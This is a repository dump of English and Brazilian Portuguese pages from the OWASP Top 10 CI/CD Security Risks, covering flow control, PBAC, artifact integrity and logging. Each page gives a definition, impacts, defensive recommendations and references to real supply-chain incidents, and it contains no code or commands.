├── assets ├── images │ ├── dppe.jpg │ ├── ippe.jpg │ ├── risks.png │ ├── cider_logo.png │ └── README.md └── OWASP_Top_10_CICD_Risks.pdf ├── English Version ├── CICD-SEC-10-Insufficient-Logging-And-Visibility.md ├── CICD-SEC-09-Improper-Artifact-Integrity-Validation.md ├── CICD-SEC-05-Insufficient-PBAC.md ├── CICD-SEC-01-Insufficient-Flow-Control-Mechanisms.md ├── CICD-SEC-08-Ungoverned-Usage-of-3rd-Party-Services.md ├── CICD-SEC-07-Insecure-System-Configuration.md ├── CICD-SEC-06-Insufficient-Credential-Hygiene.md ├── CICD-SEC-02-Inadequate-Identity-And-Access-Management.md ├── CICD-SEC-03-Dependency-Chain-Abuse.md └── CICD-SEC-04-Poisoned-Pipeline-Execution.md ├── CICD-SEC-10-Visibilidade-e-Logs-Insuficientes-PT-BR.md ├── CICD-SEC-09-Validacao-de-integridade-de-artefatos-improprias-PT-BR.md ├── CICD-SEC-05-PBAC-Insuficiente-PT-BR.md ├── CICD-SEC-01-Mecanismos-de-Controle-de-Fluxo-Insuficiente-PT-BR.md ├── CICD-SEC-08-Uso-nao-controlado-de-servicos-de-terceiros-PT-BR.md ├── CICD-SEC-07-Configuracoes-Inseguras-de-Sistemas-PT-BR.md ├── readme.md ├── CICD-SEC-02-Gerenciamento-de-Identidade-e-Acessos-inadequado-PT-BR.md ├── CICD-SEC-06-Gestao-de-Credenciais-Inadequadas-PT-BR.md ├── CICD-SEC-03-Abuso-de-cadeia-de-dependencia-PT-BR.md ├── CICD-SEC-04-Poisoned-Pipeline-Execution-PT-BR.md └── LICENSE /assets/images/dppe.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/erickrazr/OWASP-Top-10-CICD-Security-Risks/HEAD/assets/images/dppe.jpg -------------------------------------------------------------------------------- /assets/images/ippe.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/erickrazr/OWASP-Top-10-CICD-Security-Risks/HEAD/assets/images/ippe.jpg -------------------------------------------------------------------------------- /assets/images/risks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/erickrazr/OWASP-Top-10-CICD-Security-Risks/HEAD/assets/images/risks.png -------------------------------------------------------------------------------- /assets/images/cider_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/erickrazr/OWASP-Top-10-CICD-Security-Risks/HEAD/assets/images/cider_logo.png -------------------------------------------------------------------------------- /assets/OWASP_Top_10_CICD_Risks.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/erickrazr/OWASP-Top-10-CICD-Security-Risks/HEAD/assets/OWASP_Top_10_CICD_Risks.pdf -------------------------------------------------------------------------------- /assets/images/README.md: -------------------------------------------------------------------------------- 1 | # placeholder 2 | 3 | Put images you wish to link to in this folder 4 | 5 | link would be in form /assets/images/ 6 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-10-Insufficient-Logging-And-Visibility.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-10: Insufficient Logging and Visibility" 5 | 6 | --- 7 | ## Definition 8 | 9 | Insufficient logging and visibility risks allow an adversary to carry out malicious activities within the CI/CD environment without being detected during any phase of the attack kill chain, including identifying the attacker’s TTPs (Techniques, Tactics and Procedures) as part of any post-incident investigation. 10 | 11 | 12 | ## Description 13 | 14 | The existence of strong logging and visibility capabilities is essential for an organization’s ability to prepare for, detect and investigate a security related incident. 15 | 16 | While workstations, servers, network devices and key IT and business applications are typically covered in depth within an organization’s logging and visibility programs, it is often not the case with systems and processes in engineering environments. 17 | 18 | Given the amount of potential attack vectors leveraging engineering environments and processes it is imperative that security teams build the appropriate capabilities to detect these attacks as soon as they happen. As many of these vectors involve leveraging programmatic access against the different systems, a key aspect of facing this challenge is to create strong levels of visibility around both human and programmatic access. 19 | 20 | Given the sophisticated nature of CI/CD attack vectors, there is an equal level of importance to both the audit logs of the systems - e.g. user access, user creation, permission modification, and the applicative logs - e.g. push event to a repo, execution of builds, upload of artifacts. 21 | 22 | 23 | ## Impact 24 | 25 | With adversaries gradually shifting their focus to engineering environments as a means to achieve their goals, organizations which do not ensure the appropriate logging and visibility controls around those environments, may fail to detect a breach, and face great difficulties in mitigation/remediation due to minimal investigative capabilities. 26 | 27 | Time and data are the most valuable commodities to an organization under attack. The existence of all relevant data sources in a centralized location may be the difference between a successful and devastating outcome in an incident response scenario. 28 | 29 | 30 | ## Recommendations 31 | 32 | There are several elements to achieving sufficient logging and visibility: 33 | 34 | 35 | 36 | * **Mapping the environment** - Strong visibility capabilities cannot be achieved without an intimate level of familiarity with all the different systems involved in potential threats. A potential breach may involve any of the systems which take part in the CI/CD processes, including SCM, CI, Artifact repositories, package management software, container registries, CD, and orchestration engines (e.g. K8s). 37 | 38 | Identify and build an inventory of all the systems in use within the organization, containing every instance of these systems (specifically relevant for self-managed systems e.g. Jenkins). 39 | 40 | * **Identifying and enabling the appropriate log sources** - Once all relevant systems are identified, the next step is ensuring that all relevant logs are enabled, as this is not the default state in the different systems. Visibility should be optimized around both human access as well as programmatic access through all the various measures it is allowed. It is important to place an equal level of emphasis on identifying all relevant audit log sources, as well as the applicative log sources. 41 | * **Shipping logs to a centralized location** (e.g. SIEM), to support aggregation and correlation of logs between different systems for detection and investigation. 42 | * **Creating alerts to detect anomalies and potential malicious activity**, both in each system on its own and anomalies in the code shipping process, which involves multiple systems and requires deeper knowledge in the internal build and deployments processes. 43 | 44 | 45 | ## References 46 | 47 | Logging and visibility capabilities are essential and relevant for being able to detect and investigate any incident, regardless of the risk that was exploited in the incident. Any security incident in recent years involving CI/CD systems required the victim organization to have strong visibility to be able to properly investigate and understand the extent of damage of the attack in question. 48 | -------------------------------------------------------------------------------- /CICD-SEC-10-Visibilidade-e-Logs-Insuficientes-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | Logs insuficientes e riscos de visibilidade permitem que um adversário realize atividades maliciosas no ambiente de CI/CD sem ser detectado durante qualquer fase do attack kill chain, incluindo a identificação dos TTPs (Técnicas, Táticas e Procedimentos) do invasor como parte de qualquer pós-incidente investigação. 5 | 6 | ## Descrição 7 | 8 | A existência de recursos de logs bem detalhados e visibilidade é essencial para a capacidade de uma organização de se preparar, detectar e investigar um incidente relacionado à segurança. 9 | 10 | Embora estações de trabalho, servidores, dispositivos de rede e aplicações do negócio ou de tecnologia s sejam normalmente abordados em profundidade nos programas de registro e visibilidade de uma organização, geralmente não é o caso de sistemas e processos em ambientes de desenvolvimento. 11 | 12 | Dada a quantidade de potenciais vetores de ataque que utilizam ambientes e processos de desenvolvimento, é imperativo que as equipes de segurança consttruam recursos apropriados para detectar esses ataques assim que eles acontecerem. Como muitos desses vetores envolvem alavancar o acesso programático em relação aos diferentes sistemas, um aspecto fundamental para enfrentar esse desafio é criar fortes níveis de visibilidade em torno do acesso humano e programático. 13 | 14 | Dada a natureza sofisticada dos vetores de ataque CI/CD, há um nível igual de importância para ambos os logs de auditoria dos sistemas - por exemplo acesso do usuário, criação do usuário, modificação da permissão e os logs da aplicação - por exemplo evento push para um repositório, execução de compilações, upload de artefatos. 15 | 16 | 17 | ## Impacto 18 | 19 | Com os adversários gradualmente mudando seu foco para ambientes de desenvolvimento como um meio de atingir seus objetivos, as organizações que não garantem os controles apropriados de logs e visibilidade em torno desses ambientes, podem não detectar uma violação e enfrentar grandes dificuldades na mitigação/remediação devido ao mínimo capacidades investigativas. 20 | 21 | Tempo e dados são as commodities mais valiosas para uma organização sob ataque. A existência de todas as fontes de dados relevantes em um local centralizado pode ser a diferença entre um resultado bem-sucedido e um resultado devastador em um cenário de resposta a incidentes. 22 | 23 | 24 | 25 | ## Recomendações 26 | 27 | Existem vários elementos para obter registro e visibilidade suficientes: 28 | 29 | 30 | 31 | * **Mapeamento do ambiente** - Boas capacidades de visibilidade não podem ser alcançadas sem um nível íntimo de familiaridade com todos os diferentes sistemas envolvidos em ameaças potenciais. Uma possível violação pode envolver qualquer um dos sistemas que fazem parte dos processos de CI/CD, incluindo o SCM, CI, repositórios de artefatos, software de gerenciamento de pacotes, registros de contêineres, CD e mecanismos de orquestração (por exemplo, K8s). 32 | 33 | Identifique e crie um inventário de todos os sistemas em uso na organização, contendo todas as instâncias desses sistemas (especificamente relevantes para sistemas autogerenciados, por exemplo, Jenkins). 34 | 35 | * **Identificando e habilitando as origens de log apropriadas** - Depois que todos os sistemas relevantes forem identificados, a próxima etapa é garantir que todos os logs relevantes sejam habilitados, pois esse não é o estado padrão nos diferentes sistemas. A visibilidade deve ser otimizada tanto no acesso humano quanto no acesso programático por meio de todas as várias medidas permitidas. É importante colocar um nível igual de ênfase na identificação de todas as fontes de log de auditoria relevantes, bem como as fontes de log de aplicações. 36 | * **Envio de logs para um local centralizado** (por exemplo, SIEM), para oferecer suporte à agregação e correlação de logs entre diferentes sistemas para detecção e investigação. 37 | * **Criação de alertas para detecção de anomalias e potenciais atividades maliciosas**, tanto em cada sistema isoladamente quanto anomalias no processo de envio de código, que envolve vários sistemas e requer conhecimento mais profundo nos processos internos de build e deploys. 38 | 39 | 40 | ## Referências 41 | 42 | Os recursos de logs e visibilidade são essenciais e relevantes para poder detectar e investigar qualquer incidente, independentemente do risco que foi explorado no incidente. Qualquer incidente de segurança nos últimos anos envolvendo sistemas CI/CD exigiu que a organização vítima tivesse forte visibilidade para poder investigar adequadamente e entender a extensão dos danos do ataque em questão. -------------------------------------------------------------------------------- /CICD-SEC-09-Validacao-de-integridade-de-artefatos-improprias-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | 5 | Os riscos de validação de integridade de artefatos impróprios permitem que um invasor com acesso a um dos sistemas no processo de CI/CD envie códigos ou artefatos maliciosos (embora aparentemente benignos) pelo pipeline, devido a mecanismos insuficientes para garantir a validação de códigos e artefatos. 6 | 7 | 8 | ## Descrição 9 | 10 | Os processos de CI/CD consistem em várias etapas, responsáveis por levar o código desde a estação de trabalho de um desenvolvedor até a produção. Existem vários recursos sendo alimentados em cada etapa - combinando recursos internos, artefatos com pacotes de terceiros e artefatos obtidos de locais remotos. O fato de o recurso final depender de várias fontes espalhadas pelas diferentes etapas, fornecidas por vários colaboradores, cria vários pontos de entrada por meio dos quais esse recurso final pode ser adulterado. 11 | 12 | Se um recurso adulterado conseguiu se infiltrar com sucesso no processo de entrega, sem levantar qualquer suspeita ou encontrar qualquer verficação de segurança - provavelmente continuará fluindo pelo pipeline - até a produção - sob o disfarce de um recurso legítimo. 13 | 14 | 15 | ## Impacto 16 | 17 | A validação inadequada da integridade do artefato pode ser abusada por um adversário com uma posição dentro do processo de entrega de software para enviar um artefato malicioso através do pipeline, resultando na execução de código malicioso - em sistemas dentro do processo de CI/CD ou pior - na produção. 18 | 19 | 20 | ## Recomendações 21 | 22 | A prevenção de riscos de Validação de integridade de artefatos impróprias requer uma coleção de medidas, em diferentes sistemas e estágios dentro da cadeia de entrega de software. Considere os seguintes controles: 23 | 24 | 25 | 26 | * Implementar processos e tecnologias para validar a integridade dos recursos desde o desenvolvimento até a produção. Quando um recurso é gerado, o processo incluirá a assinatura desse recurso usando uma infraestrutura de assinatura de recurso externo. Antes de consumir o recurso nas etapas subsequentes do pipeline, a integridade do recurso deve ser validada em relação à autoridade de assinatura. Algumas medidas prevalentes a serem consideradas neste contexto: 27 | * **Assinatura de código** - As soluções SCM fornecem a capacidade de assinar confirmações usando uma chave exclusiva para cada contribuidor. Essa medida pode então ser aproveitada para evitar que commits não assinados fluam pelo pipeline. 28 | * **Software de verificação de artefato** - O uso de ferramentas para assinatura e verificação de código e artefatos fornece uma maneira de impedir que software não verificado seja entregue no pipeline. Um exemplo desse projeto é o [Sigstore](https://www.sigstore.dev/), criado pela Linux Foundation. 29 | * **Detecção de desvio de configuração** - Medidas destinadas a detectar desvios de configuração (por exemplo, recursos em ambientes de nuvem que não são gerenciados usando um modelo IAC assinado), potencialmente indicativos de recursos que foram implantados por uma fonte ou processo não confiável. 30 | * Recursos de terceiros obtidos de pipelines de build/deploy (como scripts importados e executados como parte do processo de build) devem seguir uma lógica semelhante - antes de usar recursos de terceiros, o hash do recurso deve ser calculado e referenciado em relação ao hash oficial publicado do provedor de recursos. 31 | 32 | 33 | ## Referências 34 | 35 | 36 | 37 | 1. The hack of the SolarWinds build system, used to spread malware through SolarWinds to 18,000 organizations. The code of the Orion software was changed in the build system during the build process, leaving no trace in the codebase. 38 | 39 | [https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm](https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm) 40 | 41 | 42 | 43 | 2. Codecov, a popular code coverage tool used in the CI, is compromised to steal environment variables from builds. Attackers gained access to the GCP (Google Cloud Platform) account hosting the Codecov script, and modified it to contain malicious code. The attack was identified by a customer comparing the hash of the script stored on GitHub with the script downloaded from the GCP account. 44 | 45 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 46 | 47 | 3. Backdoor planted in the PHP git repository, ultimately resulting in a formal PHP version being spread to all PHP users. The attackers push malicious unreviewed code directly to the PHP main branch, committing the code as if it were made by known PHP contributors. 48 | 49 | [https://news-web.php.net/php.internals/113981](https://news-web.php.net/php.internals/113981) 50 | 51 | 4. Attackers compromise the Webmin build server, and add a backdoor to one of the application’s scripts. The backdoor continued to persist even after the compromised build server was decommissioned due to the fact that code was restored from a local backup, rather than the source control system. Webmin users were susceptible to RCE through a supply chain attack for a duration of over 15 months, until the backdoor was removed. 52 | 53 | [https://www.webmin.com/exploit.html](https://www.webmin.com/exploit.html) 54 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-09-Improper-Artifact-Integrity-Validation.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-9: Improper Artifact Integrity Validation" 5 | 6 | --- 7 | ## Definition 8 | 9 | 10 | Improper artifact integrity validation risks allow an attacker with access to one of the systems in the CI/CD process to push malicious (although seemingly benign) code or artifacts down the pipeline, due to insufficient mechanisms for ensuring the validation of code and artifacts. 11 | 12 | 13 | ## Description 14 | 15 | CI/CD processes consist of multiple steps, ultimately responsible for taking code all the way from an engineer’s workstation to production. There are multiple resources being fed into each step - combining internal resources and artifacts with 3rd party packages and artifacts fetched from remote locations. The fact that the ultimate resource is reliant upon multiple sources spread across the different steps, provided by multiple contributors, creates multiple entry points through which this ultimate resource can be tampered with. 16 | 17 | If a tampered resource was able to successfully infiltrate the delivery process, without raising any suspicion or encountering any security gates - it will most likely continue flowing through the pipeline - all the way to production - in the guise of a legitimate resource. 18 | 19 | 20 | ## Impact 21 | 22 | Improper artifact integrity validation can be abused by an adversary with a foothold within the software delivery process to ship a malicious artifact through the pipeline, ultimately resulting in the execution of malicious code - either on systems within the CI/CD process or worse - in production. 23 | 24 | 25 | ## Recommendations 26 | 27 | The prevention of improper artifact integrity validation risks requires a collection of measures, across different systems and stages within the software delivery chain. Consider the following controls: 28 | 29 | 30 | 31 | * Implement processes and technologies to validate the integrity of resources all the way from development to production. When a resource is generated, the process will include signing that resource using an external resource signing infrastructure. Prior to consuming the resource in subsequent steps down the pipeline, the resource’s integrity should be validated against the signing authority. Some prevalent measures to consider in this context: 32 | * **Code signing** - SCM solutions provide the ability to sign commits using a unique key for each contributor. This measure can then be leveraged to prevent unsigned commits from flowing down the pipeline. 33 | * **Artifact verification software** - Usage of tools for signing and verification of code and artifacts provide a way to prevent unverified software from being delivered down the pipeline. An example for such a project is [Sigstore](https://www.sigstore.dev/), created by the Linux Foundation. 34 | * **Configuration drift detection** - Measures aimed at detecting configuration drifts (e.g. resources in cloud environments which aren’t managed using a signed IAC template), potentially indicative of resources that were deployed by an untrusted source or process. 35 | * 3rd party resources fetched from build/deploy pipelines (such as scripts imported and executed as part of the build process) should follow a similar logic - prior to using 3rd party resources, the hash of the resource should be calculated and cross referenced against the official published hash of the resource provider. 36 | 37 | 38 | ## References 39 | 40 | 41 | 42 | 1. The hack of the SolarWinds build system, used to spread malware through SolarWinds to 18,000 organizations. The code of the Orion software was changed in the build system during the build process, leaving no trace in the codebase. 43 | 44 | [https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm](https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm) 45 | 46 | 47 | 48 | 2. Codecov, a popular code coverage tool used in the CI, is compromised to steal environment variables from builds. Attackers gained access to the GCP (Google Cloud Platform) account hosting the Codecov script, and modified it to contain malicious code. The attack was identified by a customer comparing the hash of the script stored on GitHub with the script downloaded from the GCP account. 49 | 50 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 51 | 52 | 3. Backdoor planted in the PHP git repository, ultimately resulting in a formal PHP version being spread to all PHP users. The attackers push malicious unreviewed code directly to the PHP main branch, committing the code as if it were made by known PHP contributors. 53 | 54 | [https://news-web.php.net/php.internals/113981](https://news-web.php.net/php.internals/113981) 55 | 56 | 4. Attackers compromise the Webmin build server, and add a backdoor to one of the application’s scripts. The backdoor continued to persist even after the compromised build server was decommissioned due to the fact that code was restored from a local backup, rather than the source control system. Webmin users were susceptible to RCE through a supply chain attack for a duration of over 15 months, until the backdoor was removed. 57 | 58 | [https://www.webmin.com/exploit.html](https://www.webmin.com/exploit.html) 59 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-05-Insufficient-PBAC.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls)" 5 | 6 | --- 7 | ## Definition 8 | 9 | Pipeline execution nodes have access to numerous resources and systems within and outside the execution environment. When running malicious code within a pipeline, adversaries leverage insufficient PBAC (Pipeline-Based Access Controls) risks to abuse the permission granted to the pipeline for moving laterally within or outside the CI/CD system. 10 | 11 | 12 | ## Description 13 | 14 | Pipelines are the beating heart of CI/CD. Nodes executing pipelines carry out the commands specified in the pipeline configuration and by doing so - conduct a wide array of sensitive activities: 15 | 16 | 17 | 18 | * Access source code, build and test it. 19 | * Obtain secrets from various locations, such as environment variables, vaults, dedicated cloud-based identity services (such as the AWS metadata service), and other locations. 20 | * Create, modify and deploy artifacts. 21 | 22 | PBAC is a term which refers to the context in which each pipeline - and each step within that pipeline - is running. Given the highly sensitive and critical nature of each pipeline, it is imperative to limit each pipeline to the exact set of data and resources it needs access to. Ideally, each pipeline and step should be restricted in such a manner that will ensure that in case an adversary is able to to execute malicious code within the context of the pipeline, the extent of potential damage is minimal. 23 | 24 | PBAC includes controls relating to numerous elements having to do with the pipeline execution environment: 25 | 26 | 27 | 28 | * Access within the pipeline execution environment: to code, secrets, environment variables, and other pipelines. 29 | * Permissions to the underlying host and other pipeline nodes. 30 | * Ingress and egress filters to the internet. 31 | 32 | 33 | ## Impact 34 | 35 | A piece of malicious code that is able to run in the context of the pipeline execution node has the full permissions of the pipeline stage it runs in. It can access secrets, access the underlying host and connect to any of the systems the pipeline in question has access to. This can lead to exposure of confidential data, lateral movement within the CI environment - potentially accessing servers and systems outside the CI environment, and deployment of malicious artifacts down the pipeline, including to production. 36 | 37 | The extent of the potential damage of a scenario in which an adversary is able to compromise pipeline execution nodes or inject malicious code into the Build process is determined by the granularity of the PBAC in the environment. 38 | 39 | ## Recommendations 40 | 41 | 42 | 43 | * Do not use a shared node for pipelines with different levels of sensitivity / that require access to different resources. Shared nodes should be used only for pipelines with identical levels of confidentiality. 44 | * Ensure secrets that are used in CI/CD systems are scoped in a manner that allows each pipeline and step to have access to only the secrets it requires. 45 | * Revert the execution node to its pristine state after each pipeline execution. 46 | * Ensure the OS user running the pipeline job has been granted OS permissions on the execution node according to the principle of least privilege. 47 | * CI and CD pipeline jobs should have limited permissions on the controller node. Where applicable, run pipeline jobs on a separate, dedicated node. 48 | * Ensure the execution node is appropriately patched. 49 | * Ensure network segmentation in the environment the job is running on is configured to allow the execution node to access only the resources it requires within the network. Where possible, refrain from granting unlimited access towards the internet to build nodes. 50 | * When installation scripts are being executed as part of the package installation, ensure that a separate context exists for those scripts, which does not have access to secrets and other sensitive resources available in other stages in the build process. 51 | 52 | 53 | ## References 54 | 55 | 56 | 57 | 1. Codecov, a popular code coverage tool used in the CI, was compromised and used to steal environment variables from builds. 58 | 59 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 60 | 61 | 2. Amazon, Zillow, Lyft, and Slack NodeJS apps targeted by threat actors using the Dependency Confusion vulnerability. Organizations that were victims of Dependency Confusion attacks had malicious code executed on CI nodes, allowing the adversary to move laterally within the environment and abuse insufficient PBAC. 62 | 63 | [https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/](https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/) 64 | 65 | 3. A vulnerability found in Teleport’s CI implementation, allowed attackers from the internet to execute a Direct-3PE attack to run a privileged container and escalate to root privilege on the node itself - leading to secret exfiltration, release of malicious artifacts, and access to sensitive systems. 66 | 67 | [https://goteleport.com/blog/hack-via-pull-request/](https://goteleport.com/blog/hack-via-pull-request/) 68 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-01-Insufficient-Flow-Control-Mechanisms.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-1: Insufficient Flow Control Mechanisms" 5 | redirect_from: 6 | - www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-01-Mecanismos-de-Controle-de-Fluxo-Insuficiente-PT-BR.md 7 | 8 | --- 9 | ## Definition 10 | 11 | Insufficient flow control mechanisms refer to the ability of an attacker that has obtained permissions to a system within the CI/CD process (SCM, CI, Artifact repository, etc.) to single handedly push malicious code or artifacts down the pipeline, due to a lack in mechanisms that enforce additional approval or review. 12 | 13 | 14 | ## Description 15 | 16 | CI/CD flows are designed for speed. New code can be created on a developer’s machine and get to production within minutes, often with full reliance on automation and minimal human involvement. Seeing that CI/CD processes are essentially the highway to the highly gated and secured production environments, organizations continuously introduce measures and controls aimed at ensuring that no single entity (human or application) can push code or artifacts through the pipeline without being required to undergo a strict set of reviews and approvals. 17 | 18 | 19 | ## Impact 20 | 21 | An attacker with access to the SCM, CI, or systems further down the pipeline, can abuse insufficient flow control mechanisms to deploy malicious artifacts. Once created, the artifacts are shipped through the pipeline - potentially all the way to production - without any approval or review. For example, an adversary may: 22 | 23 | 24 | 25 | * Push code to a repository branch, which is automatically deployed through the pipeline to production. 26 | * Push code to a repository branch, and then manually trigger a pipeline that ships the code to production. 27 | * Directly push code to a utility library, which is used by code running in a production system. 28 | * Abuse an auto-merge rule in the CI that automatically merges pull requests that meet a predefined set of requirements, thus pushing malicious unreviewed code. 29 | * Abuse insufficient branch protection rules—for example, excluding specific users or branches to bypass branch protection and push malicious unreviewed code. 30 | * Upload an artifact to an artifact repository, such as a package or container, in the guise of a legitimate artifact created by the build environment. In such a scenario, a lack of controls or verifications could result in the artifact being picked up by a deploy pipeline and deployed to production. 31 | * Access production and directly change application code or infrastructure (e.g AWS Lambda function), without any additional approval/verification. 32 | 33 | 34 | ## Recommendations 35 | 36 | Establish pipeline flow control mechanisms to ensure that no single entity (human / programmatic) is able to ship sensitive code and artifacts through the pipeline without external verification or validation. This can be achieved by implementing the following measures: 37 | 38 | 39 | 40 | * Configure branch protection rules on branches hosting code which is used in production and other sensitive systems. Where possible, avoid exclusion of user accounts or branches from branch protection rules. Where user accounts are granted permission to push unreviewed code to a repository, ensure those accounts do not have the permission to trigger the deployment pipelines connected to the repository in question. 41 | * Limit the usage of auto-merge rules and ensure that wherever they are in use - they are applicable to the minimal amount of contexts. Review the code of all auto-merge rules thoroughly to ensure they cannot be bypassed and avoid importing 3rd party code in the auto-merge process. 42 | * Where applicable, prevent accounts from triggering production build and deployment pipelines without additional approval or review. 43 | * Prefer allowing artifacts to flow through the pipeline only in the condition that they were created by a pre-approved CI service account. Prevent artifacts that have been uploaded by other accounts from flowing through the pipeline without secondary review and approval. 44 | * Detect and prevent drifts and inconsistencies between code running in production and its CI/CD origin, and modify any resource that contains a drift. 45 | 46 | 47 | ## References 48 | 49 | 50 | 51 | 1. Backdoor planted in the PHP git repository. The attackers pushed malicious unreviewed code directly to the PHP main branch, ultimately resulting in a formal PHP version being spread to all PHP websites. 52 | 53 | [https://news-web.php.net/php.internals/113981](https://news-web.php.net/php.internals/113981) 54 | 55 | 2. Bypassing auto-merge rules in Homebrew, by [RyotaK](https://twitter.com/ryotkak). An auto-merge rule used to merge insignificant changes into the main branch was susceptible to bypass, allowing adversaries to merge malicious code into the project. 56 | 57 | [https://brew.sh/2021/04/21/security-incident-disclosure/](https://brew.sh/2021/04/21/security-incident-disclosure/) 58 | 59 | 3. Bypassing required reviews using GitHub Actions, by [Omer Gil](https://twitter.com/omer_gil). The flaw allowed leveraging GitHub Actions to bypass the required reviews mechanism and push unreviewed code to a protected branch. 60 | 61 | [https://www.cidersecurity.io/blog/research/bypassing-required-reviews-using-github-actions/](https://www.cidersecurity.io/blog/research/bypassing-required-reviews-using-github-actions/) 62 | -------------------------------------------------------------------------------- /CICD-SEC-05-PBAC-Insuficiente-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | Os Hosts que executam os pipelines têm acesso a vários recursos e sistemas dentro e fora do ambiente de execução. Ao executar código malicioso em um pipeline, os adversários aproveitam os riscos insuficientes de PBAC (controles de acesso baseados em pipeline) para abusar da permissão concedida ao pipeline para se mover lateralmente dentro ou fora do sistema CI/CD. 5 | 6 | ## Descrição 7 | 8 | Os pipelines são o coração do CI/CD. Os nós que executam pipelines executam os comandos especificados na configuração do pipeline e, ao fazê-lo, conduzem uma ampla gama de atividades confidenciais: 9 | 10 | 11 | 12 | * Acesso ao código fonte, construção e teste. 13 | * Obtenção de segredos de vários locais, como variáveis de ambiente, cofres, serviços de identidade baseados em nuvem dedicados (como o serviço de metadados da AWS) e outros locais. 14 | * Criar, modificar e implantar artefatos. 15 | 16 | PBAC é um termo que se refere ao contexto em que cada pipeline - e cada etapa dentro desse pipeline - está sendo executado. Dada a natureza altamente sensível e crítica de cada pipeline, é imperativo limitar cada pipeline ao conjunto exato de dados e recursos aos quais ele precisa acessar. Idealmente, cada pipeline e cada etapa devem ser restringidos de forma a garantir que, caso um adversário seja capaz de executar código malicioso no contexto do pipeline, a extensão do dano potencial seja mínima. 17 | 18 | O PBAC inclui controles relacionados a vários elementos relacionados ao ambiente de execução do pipeline: 19 | 20 | 21 | 22 | * Acesso dentro do ambiente de execução do pipeline: ao código, segredos, variáveis de ambiente e outros pipelines. 23 | * Permissões para o host subjacente e outros nós de pipeline. 24 | * Filtros de entrada e saída para a internet. 25 | 26 | ## Impacto 27 | 28 | Um pedaço de código malicioso que pode ser executado no contexto do nó de execução do pipeline tem todas as permissões do estágio do pipeline em que ele está sendo executado. Ele pode acessar segredos, acessar o host subjacente e conectar-se a qualquer um dos sistemas do pipeline em questão tem acesso. Isso pode levar à exposição de dados confidenciais, movimento lateral dentro do ambiente de CI - potencialmente acessando servidores e sistemas fora do ambiente de CI e implantação de artefatos maliciosos no pipeline, inclusive na produção. 29 | 30 | A extensão do dano potencial de um cenário no qual um adversário é capaz de comprometer os nós de execução do pipeline ou injetar código malicioso no processo de Build é determinada pela granularidade do PBAC no ambiente. 31 | 32 | 33 | ## Recomendações 34 | 35 | 36 | 37 | * Não use um nó compartilhado para pipelines com diferentes níveis de sensibilidade/que exijam acesso a diferentes recursos. Os nós compartilhados devem ser usados apenas para pipelines com níveis idênticos de confidencialidade. 38 | * Certifique-se de que os segredos usados em sistemas de CI/CD tenham escopo definido de maneira a permitir que cada pipeline e etapa tenham acesso apenas aos segredos necessários. 39 | * Reverta o nó de execução para seu estado original após cada execução de pipeline. 40 | * Certifique-se de que o usuário do sistema operacional que executa o job do pipeline tenha recebido permissões do sistema operacional no nó de execução de acordo com o princípio do privilégio mínimo. 41 | * Os jobs de pipeline de CI e CD devem ter permissões limitadas no controller node. Quando necessário, execute os jobs de pipeline em um nó separado e dedicado. 42 | * Certifique-se de que o nó de execução esteja devidamente atualizado e com os patches de correção aplicados. 43 | * Certifique-se de que a segmentação de rede no ambiente em que o Job está sendo executado esteja configurada para permitir que o nó de execução acesse apenas os recursos necessários dentro da rede. Sempre que possível, evite conceder acesso ilimitado à Internet a esses nós. 44 | * Quando os scripts de instalação estiverem sendo executados como parte da instalação do pacote, certifique-se de que exista um contexto separado para esses scripts, que não tenha acesso a segredos e outros recursos confidenciais disponíveis em outros estágios do processo de compilação. 45 | 46 | ## Referências 47 | 48 | 49 | 50 | 1. Codecov, a popular code coverage tool used in the CI, was compromised and used to steal environment variables from builds. 51 | 52 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 53 | 54 | 2. Amazon, Zillow, Lyft, and Slack NodeJS apps targeted by threat actors using the Dependency Confusion vulnerability. Organizations that were victims of Dependency Confusion attacks had malicious code executed on CI nodes, allowing the adversary to move laterally within the environment and abuse insufficient PBAC. 55 | 56 | [https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/](https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/) 57 | 58 | 3. A vulnerability found in Teleport’s CI implementation, allowed attackers from the internet to execute a Direct-3PE attack to run a privileged container and escalate to root privilege on the node itself - leading to secret exfiltration, release of malicious artifacts, and access to sensitive systems. 59 | 60 | [https://goteleport.com/blog/hack-via-pull-request/](https://goteleport.com/blog/hack-via-pull-request/) 61 | -------------------------------------------------------------------------------- /CICD-SEC-01-Mecanismos-de-Controle-de-Fluxo-Insuficiente-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | Mecanismos de controle de fluxo insuficientes referem-se à 